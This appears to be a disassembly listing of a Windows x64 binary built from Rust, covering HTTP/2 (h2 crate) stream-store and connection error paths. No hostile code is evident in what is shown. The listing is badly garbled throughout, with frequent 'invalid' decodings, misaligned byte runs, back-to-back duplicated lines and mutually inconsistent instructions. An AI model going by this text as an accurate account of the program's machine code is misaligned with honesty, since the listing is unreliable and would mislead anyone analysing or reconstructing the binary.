mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x280]
call fcn.140108560
or al, 6
invalid
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rdx*2], ah
invalid
or al, 6
add byte [rax - 0x73], cl
test byte [rsp + rdx*2], ah
invalid
lea rax, [rsp + 0x654]
mov qword [rsp + 0x280], rax
lea rax, [0x14001b1f0]
and al, 0x80
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0xfff7388b
mov qword [rsp + 0x288], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x110]
call fcn.140108560
lea rax, [rsp + 0x534]
mov qword [rsp + 0x3c0], rax
lea rax, [0x14001b1f0]
idiv edi
mov qword [rsp + 0x3c8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x3c0]
jmp 0x1400a789f
add byte [rax - 0x77], cl
test byte [rax + rdx], ah
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rax*8], ah
add eax, dword [rax]
add cl, ch
nop
invalid
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov qword [rsp + 0x20], rax
lea rcx, [0x14013e8dc]
lea r9, [0x14013f968]
lea r8, [rsp + 0xe0]
mov edx, 0xe
call fcn.1401088e0
lea rcx, [0x140128f30]
lea r8, [0x140128f60]
mov edx, 0x2d
call fcn.140108630
lea rax, [rsp + 0xec]
jmp 0x1400a7859
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], r10b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013faa8]
lea r8, [rsp + 0x110]
mov edx, 0x2b
call fcn.1401088e0
lea rcx, str.assertion_failed:_sz___MAX_WINDOW_SIZE_as_usize
lea r8, [0x1401293a8]
mov edx, 0x30
call fcn.140108630
invalid
add byte [rax - 0x73], cl
add eax, 0x814e8
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x120], 8
add byte [rax], al
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
or byte [rax], al
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
lea rcx, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
call fcn.140108c60
lea rcx, str.received_unexpected_shutdown_ping
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov edx, 0x21
call fcn.14010d200
lea rcx, [0x1401293cf]
lea r8, [0x140129408]
mov edx, 0x39
call fcn.140108630
lea rcx, [0x14012927e]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32
mov edx, 0x31
call fcn.140108630
lea rcx, str.assertion_failed:_stream.state.is_closed__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov edx, 0x2a
call fcn.140108630
add rbx, 0x2c
mov dword [rsp + 0x530], edi
mov qword [rsp + 0x280], rbx
lea rax, [0x14001b1f0]
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x530]
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x298], rax
lea rax, str.GOAWAY_stream_IDs_shouldnt_be_higher__last_processed_id____f.last_stream_id___
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 2
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
lea rdx, [0x140128e78]
lea rcx, [rsp + 0x110]
call fcn.140108560
lea rcx, [0x14013f2ea]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov edx, 0x37
call fcn.140108630
int3
or byte [rbp + 0xf], al
mov dh, 0x52
add dword [rax - 0x7d], ecx
add byte ds:[rdx + rax*2 + 0x4c], dh
mov ebx, dword [rsi + 0x50]
cmp qword [rsi + 8], r11
ja 0x1400a7c98
mov word [rcx], 0x101
mov dword [rcx + 4], 0xb
lea rax, [0x14013e948]
mov qword [rcx + 8], rax
lea rax, str.too_many_internal_resetsassertion_failed:_self.remote.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_settings.rs
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0x18
mov qword [rcx + 0x20], 0
add rsp, 0x40
pop rsi
ret
inc r11
mov qword [rsi + 0x50], r11
lea r11, [rdx + 0xa0]
add rdx, 0x140
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r9
mov rsi, rcx
mov rcx, r11
mov edx, eax
mov r9, r8
mov r8d, r10d
call fcn.14008b360
mov byte [rsi], 3
add rsp, 0x40
pop rsi
ret
insb byte [rdi], dx
and al, 0x4c
jne 0x1400a7ddc
mov byte [rsi + 0x50], 8
cmp byte [rsp + 0x3f0], 0
mov esi, dword [rsp + 0x3fc]
mov dword [rsp + 0x48], esi
je 0x1400a7ee0
xor esi, esi
mov r13d, 7
jmp 0x1400a7dee
mov dword [rsp + 0x48], 1
lea r13, [0x1401167f0]
mov sil, 1
lea rcx, [rsp + 0x2e8]
call fcn.140036d60
lea rcx, [rsp + 0x348]
call case.0x140028096.388
mov r9d, 1
add byte [rax], al
add byte [rbp + 0x31], al
rol byte [rbp + 0x31], cl
fisttp dword [rbx + rcx*4 + 0x74]
and al, 0x78
add byte [rax], al
add byte [rbp + 0x31], al
rol byte [rbp + 0x31], cl
fisttp dword [rbx + rcx*4 + 0x74]
and al, 0x78
mov rbp, qword [rsp + 0x70]
mov rax, qword [r15 + 0x128]
mov r15, qword [rax]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r15], cl
jne 0x1400a82f8
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
movzx r8d, byte [rsp + 0x43]
jne 0x1400a8325
xor r12d, r12d
movzx eax, byte [r15 + 1]
test al, al
jne 0x1400a8369
test sil, sil
je 0x1400a7e95
mov byte [rbx], sil
mov byte [rbx + 1], r8b
mov word [rbx + 2], dx
mov eax, dword [rsp + 0x48]
mov dword [rbx + 4], eax
mov qword [rbx + 8], r13
mov qword [rbx + 0x10], r9
mov qword [rbx + 0x18], r11
mov qword [rbx + 0x20], r10
test r12b, r12b
jne 0x1400a8042
jmp 0x1400a802f
mov rax, qword [rsp + 0xa8]
mov rax, qword [rax]
cmp qword [rbp], 0
je 0x1400a7fed
mov rcx, qword [rbp + 0x50]
cmp qword [rbp + 8], rcx
ja 0x1400a7ff1
mov r8b, 1
mov dword [rsp + 0x48], 0xb
lea r13, [0x14013e948]
lea r9, str.too_many_internal_resetsassertion_failed:_self.remote.is_none__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_settings.rs
mov r11d, 0x18
xor r10d, r10d
mov sil, 1
jmp 0x1400a7e65
movups xmm0, xmmword [rsp + 0x338]
movaps xmmword [rsp + 0x2d0], xmm0
movups xmm0, xmmword [rsp + 0x328]
movaps xmmword [rsp + 0x2c0], xmm0
movups xmm0, xmmword [rsp + 0x2e8]
movups xmm1, xmmword [rsp + 0x2f8]
movups xmm2, xmmword [rsp + 0x308]
movups xmm3, xmmword [rsp + 0x318]
sbb byte [rbx], al
add byte [rax], al
sbb byte [rbx], al
add byte [rax], al
movaps xmmword [rsp + 0x2b0], xmm3
movaps xmmword [rsp + 0x2a0], xmm2
movaps xmmword [rsp + 0x290], xmm1
movaps xmmword [rsp + 0x280], xmm0
lea rdx, [rsp + 0x348]
lea r13, [rsp + 0x408]
mov r8d, 0xa0
mov rcx, r13
call fcn.140106530
lea rcx, [rsp + 0xb0]
lea r8, [rsp + 0x280]
mov rdx, r13
mov r9d, esi
call fcn.140022e10
idiv edi
idiv edi
mov rax, qword [rsp + 0xb0]
movzx esi, byte [rsp + 0xb8]
movzx r8d, byte [rsp + 0xb9]
movzx edx, word [rsp + 0xba]
mov ecx, dword [rsp + 0xbc]
mov r13, qword [rsp + 0xc0]
mov r9, qword [rsp + 0xc8]
mov ecx, dword [rsp + 0xc8]
mov ecx, dword [rsp + 0xc8]
mov r11, qword [rsp + 0xd0]
mov r10, qword [rsp + 0xd8]
cmp rax, 3
cmp eax, 3
cmp eax, 3
jne 0x1400a8082
mov byte [rsp + 0x43], r8b
and al, 0x43
mov dword [rsp + 0x48], ecx
cmp sil, 3
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
jne 0x1400a7e1e
jmp 0x1400a842c
mov rcx, qword [rbp + 0x50]
lea r9, [r15 + 8]
inc rcx
mov qword [rbp + 0x50], rcx
lea rcx, [rax + 0xa0]
mov byte [rax + 0x48000000], ah
add eax, 0x140
mov byte [rax + 0x48000000], ah
add eax, 0x140
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], r14
mov edx, r13d
call fcn.14008b360
mov dword [rbx + 4], 0
mov byte [rbx], 3
test r12b, r12b
jne 0x1400a8042
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
add byte [rax - 0x2f], cl
loopne 0x1400a8082
test eax, eax
jne 0x1400a83a5
xor eax, eax
xchg byte [r15], al
cmp al, 2
mov esi, dword [rsp + 0x4c]
jne 0x1400a8058
mov rcx, r15
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp esi, 0x3b9aca00
setne r8b
mov rcx, rbp
mov rdx, r14
call fcn.14001f580
nop
add rsp, 0x4a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov word [rsp + 0x44], dx
lea rdx, [rsp + 0xe0]
mov dword [rsp + 0x94], ecx
lea rcx, [rsp + 0x1d0]
mov byte [rsp + 0x47], r8b
mov r8d, 0xb0
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x60], r10
mov qword [rsp + 0x58], r11
mov qword [rsp + 0x98], rax
call fcn.140106530
mov byte [rsp + 0x1a8], sil
movzx eax, byte [rsp + 0x47]
mov byte [rsp + 0x1a9], al
movzx eax, word [rsp + 0x44]
mov word [rsp + 0x1aa], ax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x1ac], eax
mov qword [rsp + 0x1b0], r13
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1c8], rax
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x1a0], rax
and al, 0xa0
add dword [rax], eax
add byte [rdi], cl
adc byte [0x140143bc0], al
invalid
and al, 0xa0
add dword [rax], eax
add byte [rdi], cl
adc byte [0x140143bc0], al
invalid
add byte [rdi], cl
sub dword [rsp + 0xc0], eax
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [0x140143bb0]
movaps xmmword [rsp + 0xb0], xmm0
lea rcx, [rsp + 0x1a0]
lea rdx, [rsp + 0xb0]
call fcn.140022740
mov r13, rax
mov rax, qword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
mov eax, dword [rsp + 0xb0]
test rax, rax
je 0x1400a8191
lea rcx, [rsp + 0xc8]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
test r13, r13
je 0x1400a81f4
mov rax, qword [r13 + 0x10]
cmp rax, 0x13
ja 0x1400a82c0
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rbx + rcx*2 + 0x49], 0x8b
or byte [r9], r14b
rol byte [rbp + 0x31], cl
shl byte [rsi + 0x66], 0x66
nop word cs:[rax + rax]
nop word cs:[rax + rax]
test rax, rax
je 0x1400a81f4
mov rcx, qword [r13 + 8]
xor edx, edx
xor r8d, r8d
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
movzx r9d, byte [rcx + rdx]
lea r10d, [r9 - 0x3a]
cmp r10b, 0xf6
jb 0x1400a82c0
lea r8, [r8 + r8*4]
add r9b, 0xd0
rcl eax, 0x45
movzx ecx, cl
rcl eax, 0x45
movzx ecx, cl
lea r8, [r9 + r8*2]
inc rdx
cmp rax, rdx
jne 0x1400a81c0
test r8, r8
jne 0x1400a82c0
test esp, ecx
add byte [rax], al
invalid
test esp, ecx
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0x58
add al, byte [rax]
add byte [rbx + rcx], ah
movzx eax, byte [rsp + 0x258]
and al, 0xb
cmp al, 1
jne 0x1400a82c0
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], r12d
cmp qword [r14 + 0x10], rdi
jbe case.0x140070a56.238
mov r13, qword [r14 + 8]
cmp dword [r13 + rbp], 2
je case.0x140070a56.238
add r13, rbp
cmp dword [r13 + 0x114], r12d
add dword [rax], eax
add byte [rdi], cl
test ecx, edi
add al, byte [rax]
invalid
add dword [rax], eax
add byte [rdi], cl
test ecx, edi
add al, byte [rax]
add byte [rax - 0x73], cl
mov word [rax + rax*8], fs
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x1a0]
and al, 0xa0
add dword [rax], eax
add byte [rcx - 0x48], al
loopne 0x1400a824d
add byte [rax], al
and al, 0xa0
add dword [rax], eax
add byte [rcx - 0x48], al
loopne 0x1400a824d
add byte [rax], al
call fcn.140106530
mov qword [rsp + 0xb0], 0
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov rsi, qword [rsp + 0xa0]
mov r15, qword [rsi + 0x20]
lea r8, [rsp + 0xb0]
mov rcx, rsi
mov rdx, r15
call fcn.140022ca0
cmp qword [r13 + 0x18], 0
je 0x1400a83bc
mov rax, qword [r13 + 0x28]
cmp rax, qword [rsi + 0x10]
jae 0x1400a857f
imul rax, rax, 0xf0
add rax, qword [rsi + 8]
cmp dword [rax], 2
je 0x1400a857f
add r13, 0x28
mov qword [rax], 1
mov qword [rax + 8], r15
mov dword [rax + 8], edi
mov dword [rax + 8], edi
jmp 0x1400a83cc
lea rcx, [rsp + 0x1a0]
call fcn.140002e60
mov r13d, 1
add byte [rax], al
add byte [rcx], dh
test byte [rbx + rcx*4 + 0x74], 0x24
js 0x1400a8323
mov ebp, dword [rsp + 0x70]
add byte [rax], al
add byte [rcx], dh
test byte [rbx + rcx*4 + 0x74], 0x24
js 0x1400a8323
mov ebp, dword [rsp + 0x70]
movzx edx, word [rsp + 0x44]
mov r9, qword [rsp + 0x68]
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x58]
jmp 0x1400a7e1e
mov rcx, r15
mov word [rsp + 0x44], dx
mov r12, r9
mov qword [rsp + 0x60], r10
mov rdi, r11
call fcn.140110530
mov r11, rdi
mov r10, qword [rsp + 0x60]
mov r9, r12
movzx edx, word [rsp + 0x44]
jmp 0x1400a7e37
invalid
mov byte [rsp + 0x43], r8b
mov r12d, edx
mov qword [rsp + 0x68], r9
mov rdi, r10
mov qword [rsp + 0x58], r11
call fcn.1401105f0
mov r11, qword [rsp + 0x58]
mov r10, rdi
mov r9, qword [rsp + 0x68]
mov edx, r12d
movzx r8d, byte [rsp + 0x43]
mov r12d, eax
xor r12b, 1
movzx eax, byte [r15 + 1]
test al, al
je 0x1400a7e60
invalid
dec dword [rcx + rcx*4 - 0x44]
and al, 0xe8
add al, byte [rax]
add byte [rax + rcx*4 - 0x5c], al
and al, 0xf0
add al, byte [rax]
mov qword [rsp + 0x2e8], r15
mov byte [rsp + 0x2f0], r12b
add byte [rax - 0x73], cl
add eax, 0x96ef8
or dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x96ef8
or dword [rax], eax
or dword [rax], eax
mov qword [rsp + 0x20], rax
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013faa8]
lea r8, [rsp + 0x2e8]
call 0xfa0a839e
sub eax, dword [rax]
add byte [rax], al
call 0xfa0a839e
sub eax, dword [rax]
add byte [rax], al
call fcn.1401088e0
call fcn.1401105f0
test al, al
ror byte [rdi], 0x85
nop
cld
invalid
invalid
invalid
ror byte [rdi], 0x85
nop
cld
invalid
mov byte [r15 + 1], 1
jmp 0x1400a8042
xchg ah, bh
invalid
invalid
xchg ah, bh
invalid
mov qword [r13 + 0x18], 1
mov qword [r13 + 0x20], r15
mov dword [rbp + 0x20], edi
mov dword [rbp + 0x20], edi
add r13, 0x28
invalid
mov qword [r13], r15
jge 0x1400a83d0
mov dword [rsp + 0x50], edi
mov dword [rsp + 0x54], r12d
cmp qword [r14 + 0x10], rdi
adc byte [rdi], cl
xchg byte [rdi + 1], cl
add byte [rax], al
invalid
adc byte [rdi], cl
xchg byte [rdi + 1], cl
add byte [rax], al
invalid
add byte [rcx - 0x75], cl
or byte [rbx + 0xf02283c], r8b
cmp al, 0x28
add cl, byte [rdi]
mov rax, qword [r14 + 8]
cmp dword [rax + rbp], 2
cmp al, 0x28
add cl, byte [rdi]
test byte [rcx + 1], al
add byte [rax], al
invalid
cmp al, 0x28
add cl, byte [rdi]
test byte [rcx + 1], al
add byte [rax], al
invalid
add byte [rax + 1], cl
call 0x154aabd3c
add dword [rax], eax
add byte [rdi], cl
add rax, rbp
add eax, ebp
cmp dword [rax + 0x114], r12d
jne case.0x140070a56.238
test dword [rcx], esi
add dword [rax], eax
invalid
test dword [rcx], esi
add dword [rax], eax
add byte [rax - 0x75], cl
nop
test al, 0
add byte [rax], al
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov al, 0
add byte [rax], al
mov qword [rax + 0xa8], 0
mov dword [rax + 0xa8], 0
test rdx, rdx
je 0x1400a8422
call qword [rdx + 8]
mov r14, qword [rsp + 0x78]
mov esi, dword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
mov dword [rbx + 4], 1
mov dword [rbx + 8], edi
mov dword [rbx + 0xc], r12d
mov byte [rbx], 3
mov esi, dword [rsp + 0x4c]
jmp 0x1400a8058
jmp 0x1400a8058
adc bh, ah
invalid
test byte [rax + rsi*4], ah
add byte [rax], al
add byte [rax], al
lea rax, [0x14001b1f0]
mov al, 0
add byte [rax], al
lea rax, [0x14001b1f0]
sub eax, 0x8948fff7
dec dword [rax - 0x77]
mov qword [rsp + 0xb8], rax
lea rax, str.dangling_store_key_for_stream_id
cmp al, 0x11
or byte [rax], al
test byte [rax + rdi*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x8113c
cmp al, 0x11
or byte [rax], al
cmp al, 0x11
or byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rbp*8], ah
add al, byte [rax]
add byte [rax - 0x39], cl
invalid
invalid
test byte [rax + rsi*8], ah
lock add al, byte [rax]
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], 1
lock add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x308], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov qword [rsp + 0x308], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x2f8], rax
mov qword [rsp + 0x300], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x2e8]
lea ecx, [rsp + 0x2e8]
and al, 0xe8
add al, byte [rax]
add al, ch
movsb byte [rdi], byte [rsi]
add byte [rsi], al
call fcn.140108560
add byte [rax - 0x73], cl
test byte [rsp + rax*4], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + riz*4], ah
invalid
add dword [rax], eax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x1a0], rax
movabs al, byte [0x2d1d058d48000001]
idiv edi
movabs al, byte [0x2d1d058d48000001]
idiv edi
add byte [rax - 0x73], cl
add eax, 0xfff72d1d
mov qword [rsp + 0x1a8], rax
lea rax, str.dangling_store_key_for_stream_id
or byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x810c6
or byte [rax], al
or byte [rax], al
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0xd0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x1a0]
invalid
invalid
add byte [rax], al
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0xc0], eax
test byte [rax + rax*8], ah
add byte [rax], al
invalid
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
mov qword [rsp + 0xc8], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0xb0]
call fcn.140108560
invalid
and al, 0xb0
add byte [rax], al
add byte [rax], al
invalid
add byte cs:[rsi], al
add byte [rax - 0x73], cl
and al, 0x54
lea rax, [rsp + 0x54]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
lea rax, [0x14001b1f0]
lea eax, [0x14001b1f0]
stosb byte [rdi], al
sub al, 0xf7
dec dword [rax - 0x77]
mov dword [rsp + 0x88], eax
invalid
invalid
mov qword [rsp + 0x88], rax
mov dword [rsp + 0x88], eax
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
lea eax, [0x1401295a8]
add eax, 0x81053
adc byte [rax], cl
add byte [rax - 0x77], cl
test byte [rax + rsi*4], ah
add byte [rax], al
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], 1
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdi*4], ah
add byte [rax], al
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xd0], 0
lea rax, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add bl, ch
invalid
add byte [rax - 0x73], cl
test byte [rax + rax*4], ah
and al, 0x80
and al, 0x80
add byte [rax], al
add bl, ch
mov ecx, dword [rax - 0x73]
or eax, 0x97b6a
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
add eax, 0x9685b
mov edx, 0xb
call fcn.140108c40
invalid
invalid
add ah, cl
invalid
add ah, cl
int3
int3
mov rcx, rdx
lea rdx, [0x14014c3de]
or al, byte [rax]
or al, byte [rax]
mov r8d, 2
jmp fcn.140013630
invalid
dec esp
int3
int3
in al, dx
enter 0, 0
add byte [rdi], cl
sub dword [rsp + 0xb0], esi
add byte [rdi], cl
sub dword [rsp + 0xb0], esi
mov rsi, rdx
mov rax, qword [rcx]
mov rax, qword [rax]
mov eax, dword [rax]
invalid
mov eax, dword [rax]
movdqu xmm6, xmmword [rdx]
mov edi, dword [rdx + 0x34]
mov ecx, edi
test dil, 4
je 0x1400a8607
invalid
mov ecx, edi
or ecx, 8
movq rdx, xmm6
movq rdx, mm6
movq rdx, mm6
test rdx, rdx
jne 0x1400a8607
mov qword [rsi], 1
mov qword [rsi + 8], 0x12
mov dword [rsi + 8], 0x12
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
xor al, 0x41
mov eax, 0x81
mov rdx, rax
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r8
shr rdx, 4
shr edx, 4
shr edx, 4
mov r8d, eax
and r8b, 0xf
lea r9d, [r8 + 0x30]
xor byte [rbp - 0x73], al
push rax
push rdi
xor byte [rbp - 0x73], al
push rax
push rdi
cmp r8b, 0xa
movzx r8d, r9b
movzx r9d, r10b
cmovb r9d, r8d
enter 0xffffffffffff8844, 0x4c
or al, 0x2e
enter 0xffffffffffff8844, 0x4c
or al, 0x2e
lea r8, [rcx - 1]
cmp rax, 0x10
mov rax, rdx
mov eax, edx
mov eax, edx
jae case.0x1400792d3.210
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x1400a86ae
mov eax, 0x81
add byte [rax], al
sub rax, r8
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x140172d18]
or al, 0
or al, 0
mov r9d, 2
mov rcx, rsi
mov dl, 1
call fcn.140012de0
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
sub byte [rsp + 0xb0], dh
sub byte [rsp + 0xb0], dh
mov al, 0
add byte [rax], al
add rsp, 0xc8
pop rdi
pop rsi
ret
lea r8, [0x140115248]
lea eax, [0x140115248]
mov edx, 0x80
call fcn.1401085a0
int3
add byte [rax], al
add al, ch
loope 0x1400a86bb
add eax, 0x5641cc00
push rsi
push rdi
push rbx
mov eax, 0x1008
adc byte [rax], al
add al, ch
mov cl, 0x9a
add eax, 0xc4294800
adc byte [rax], al
add al, ch
mov cl, 0x9a
add eax, 0xc4294800
movaps xmmword [rsp + 0xff0], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400a870a
invalid
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
ret 0xeac0
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
invalid
ret 0xeac0
invalid
invalid
je 0x1400a8735
test al, 4
je 0x1400a897d
imul eax, dword [rdx], 0
add byte [rax + 0x48da7403], ch
test al, 3
je 0x1400a86f0
cmp eax, 0x3f
jbe 0x1400a8995
add byte [rax], al
clc
invalid
add byte [rax], al
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
invalid
invalid
retf 0xf002
lock cmpxchg qword [rsi], rcx
jne 0x1400a870a
movzx eax, dl
lea rcx, [0x140178964]
movsxd rax, dword [rcx + rax*4]
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
or al, byte gs:[rax]
mov qword [rsp + 0x28], rax
invalid
add byte [rax - 0x77], cl
and al, 0x28
invalid
mov qword [rsp + 0x30], rsi
lea rax, [rsp + 0x28]
and al, 0x28
xor byte [rax - 0x73], cl
and al, 0x28
and al, 0x28
and al, 0x28
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
invalid
mov qword [rsp + 0x48], 0
cmp dword [rsi + 0x30], 3
add ecx, dword [rdi]
xor dword [rdx], 2
xor al, byte [rdx]
add byte [rax], al
add ecx, dword [rdi]
xor dword [rdx], 2
xor al, byte [rdx]
xor al, byte [rdx]
add byte [rax], al
lea rcx, [rsi + 0x30]
xor byte [rax - 0x75], cl
mov rdi, qword [rsi + 0x28]
jle 0x1400a87ab
mov eax, dword [0x140182314]
add eax, 0xd9b8b
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
add al, 0xc2
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
invalid
add byte [rax], al
cmp eax, 1
je 0x1400a87e0
xorps xmm6, xmm6
test eax, eax
test byte [rbp - 0x749c8a40], 5
jne case.0x140099c8c.57
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
wait
or eax, 0x8b486500
add byte [rbp + 0x48], ah
invalid
adc al, 0x25
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
invalid
pop rax
add byte [rax], al
